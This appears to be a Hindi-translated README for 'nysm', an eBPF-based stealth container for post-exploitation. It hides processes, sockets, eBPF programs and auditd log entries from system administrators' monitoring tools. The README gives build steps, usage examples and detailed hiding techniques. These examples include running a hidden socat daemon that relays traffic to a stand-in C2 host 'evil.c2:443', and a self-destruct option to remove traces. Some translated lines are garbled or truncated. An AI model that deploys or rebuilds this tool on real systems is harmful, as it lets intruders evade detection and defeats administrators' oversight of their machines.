
eBPF-आधारित गुप्त कंटेनर जो सिस्टम मॉनिटरिंग टूल्स से प्रक्रियाओं, सॉकेट्स, eBPF ऑब्जेक्ट्स और ऑडिट लॉग को छिपाता है, जिससे गुप्त पोस्ट-एक्सप्लॉइटेशन संचालन संभव हो पाता है।
एक गुप्त पोस्ट-एक्सप्लॉइटेशन कंटेनर।
eBPF पर आधारित आपत्तिजनक उपकरणों की लोकप्रियता में वृद्धि के साथ, क्रेडेंशियल चुराने वालों से लेकर अपने स्वयं के PID को छिपाने वाले रूटकिट तक, हमारे मन में एक प्रश्न आया: क्या eBPF को अपनी ही नज़रों में अदृश्य बनाना संभव होगा? वहाँ से, हमने nysm बनाया, एक eBPF गुप्त कंटेनर जो सिस्टम प्रशासकों की नज़र से बचने के लिए आपत्तिजनक उपकरणों को उड़ाने के लिए है, न केवल eBPF को छिपाकर, बल्कि और भी बहुत कुछ:
ये सभी उपकरण nysm के माध्यम से जाने वाली चीजों के प्रति अंधे हो जाते हैं। यह छिपाता है:
चेतावनी यह उपकरण eBPF क्षमताओं का एक सरल प्रदर्शन मात्र है। यह व्यापक होने के लिए अभिप्रेत नहीं है। फिर भी, पुल रिक्वेस्ट का स्वागत है।
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
cd ./nysm/src/
make
nysm एक सरल प्रोग्राम है जिसे इच्छित कमांड से पहले चलाया जाता है:
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.
-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message
एक छिपा हुआ bash चलाएँ:
./nysm bash
एक छिपा हुआ ssh चलाएँ और ./nysm हटाएँ:
./nysm -r ssh user@domain
एक छिपा हुआ socat डेमॉन के रूप में चलाएँ और ./nysm हटाएँ:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
चूंकि eBPF नहीं कर सकता है लौटाए गए मानों या कर्नेल पतों को ओवरराइट करना, हमारा लक्ष्य सबसे निचले स्तर की कॉल को ढूंढना है जो यूजरस्पेस पते के साथ इंटरैक्ट करती है ताकि उसके मान को ओवरराइट किया जा सके और वांछित ऑब्जेक्ट्स को छिपाया जा सके।
nysm घटनाओं को दूसरों से अलग करने के लिए, सब कुछ एक अलग PID नेमस्पेस के अंदर चलता है।
bpftool में कुछ विशेषताएँ हैं जिनसे nysm बचना चाहता है: bpftool prog list, bpftool map list और bpftool link list।
किसी भी eBPF प्रोग्राम की तरह, bpftool bpf() सिस्टम कॉल का उपयोग करता है, और विशेष रूप से BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID और BPF_LINK_GET_NEXT_ID कमांड के साथ। इन कॉलों का परिणाम attr तर्क द्वारा इंगित यूजरस्पेस पते पर संग्रहीत होता है।
uattr को ओवरराइट करने के लिए, bpf() प्रवेश पर एक ट्रेसपॉइंट सेट किया जाता है ताकि इंगित पते को एक मैप में संग्रहीत किया जा सके। एक बार ऐसा होने पर, यह bpf() निकास ट्रेसपॉइंट की प्रतीक्षा करता है। जब bpf() बाहर निकलता है, तो nysm bpf_attr संरचना के माध्यम से पढ़ और लिख सकता है। प्रत्येक BPF_*_GET_NEXT_ID के बाद, bpf_attr.start_id को bpf_attr.next_id से बदल दिया जाता है।
विशिष्ट IDs को छिपाने के लिए, यह bpf_attr.next_id की जाँच करता है और इसे उस अगली ID से बदल देता है जो nysm में नहीं बनाई गई थी।
प्रोग्राम, मैप और लिंक IDs security_bpf_prog(), security_bpf_map(), और bpf_link_prime() से एकत्र की जाती हैं।
ऑडिटड अपने लॉग recvfrom() से प्राप्त करता है जो अपने संदेशों को एक बफर में संग्रहीत करता है।
यदि प्राप्त संदेश nysm प्रक्रिया द्वारा audit_log_end() के माध्यम से उत्पन्न किया गया था, तो यह अपने nlmsghdr हेडर में संदेश की लंबाई को 0 से बदल देता है।
eBPF के साथ PID छिपाना कोई नई बात नहीं है। nysm /proc में getdents64() से नए alloc_pid() PID को पिछले रिकॉर्ड की लंबाई बदलकर छिपाता है।
चूंकि getdents64() को अपनी सभी फाइलों के माध्यम से लूप करने की आवश्यकता होती है, eBPF निर्देश सीमा आसानी से पहुँच जाती है। इसलिए, nysm उस तक पहुँचने से पहले टेल कॉल का उपयोग करता है।
सॉकेट छिपाना एक बड़ा शब्द है। वास्तव में, खुले सॉकेट पहले से ही कई उपकरणों से छिपे होते हैं क्योंकि वे /proc में प्रक्रिया नहीं ढूंढ पाते। फिर भी, ss NETLINK_SOCK_DIAG फ्लैग के साथ socket() का उपयोग करता है जो वर्तमान में खुले सभी सॉकेट लौटाता है। उसके बाद, ss परिणाम recvmsg() के माध्यम से एक संदेश बफर में प्राप्त करता है और लौटाया गया मान इन सभी संदेशों की लंबाई का योग होता है।
यहाँ, PID के समान विधि लागू होती है: nysm सॉकेट को छिपाने के लिए पिछले संदेश की लंबाई संशोधित की जाती है।
ये connect() और bind() कॉल से एकत्र किए जाते हैं।
सर्वोत्तम प्रयास के बावजूद, nysm की अभी भी कुछ सीमाएँ हैं।
वे उपकरण जो अपने फाइल डिस्क्रिप्टर को बंद नहीं करते, nysm प्रक्रियाओं को देखेंगे जो उनके खुले रहने पर बनाई गई हैं। उदाहरण के लिए, यदि ./nysm bash top से पहले चल रहा है, तो प्रक्रियाएँ नहीं दिखेंगी। लेकिन, यदि उस bash इंस्टेंस से एक और प्रक्रिया बनाई जाती है जबकि top अभी भी चल रहा है, तो नई प्रक्रिया दिखाई देगी। वही समस्या सॉकेट और nethogs जैसे उपकरणों के साथ होती है।
कर्नेल लॉग: dmesg और /var/log/kern.log, संदेश nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! nysm चलाने पर eBPF वेरिफायर के कारण कई बार पॉप होगा।
फाइलों में लिखे गए कई ट्रेस छोड़े जाते हैं क्योंकि read() और write() को हुक करना बहुत भारी होगा (लेकिन फिर भी संभव है)। उदाहरण के लिए /proc/net/tcp या /sys/kernel/debug/tracing/enabled_functions।
को छिपाना चुनौतीपूर्ण हो सकता है क्योंकि बफर की शुरुआत में एक नया सॉकेट आ सकता है, और nysm इसे पिछले रिकॉर्ड के साथ नहीं छिपा सकता । एक त्वरित समाधान पहले और अगले वैध सॉकेट के बीच स्थान बदलना हो सकता है, लेकिन क्या होगा यदि बफर में केवल एक सॉकेट हो? इसलिए, nysm पहले सॉकेट की जानकारी को हार्डकोडेड मानों से संशोधित करता है।
बेशक, इनमें से कई सीमाओं के अपने समाधान होने चाहिए। फिर से, पुल रिक्वेस्ट का स्वागत है।
ssrecvmsgकिसी भी प्रकार के BPF_*_GET_NEXT_ID फ्लैग के साथ nysm चाइल्ड प्रक्रिया से bpf() चलाने से बचना चाहिए, क्योंकि यह प्रत्येक गैर-nysm eBPF ऑब्जेक्ट को छिपा देगा।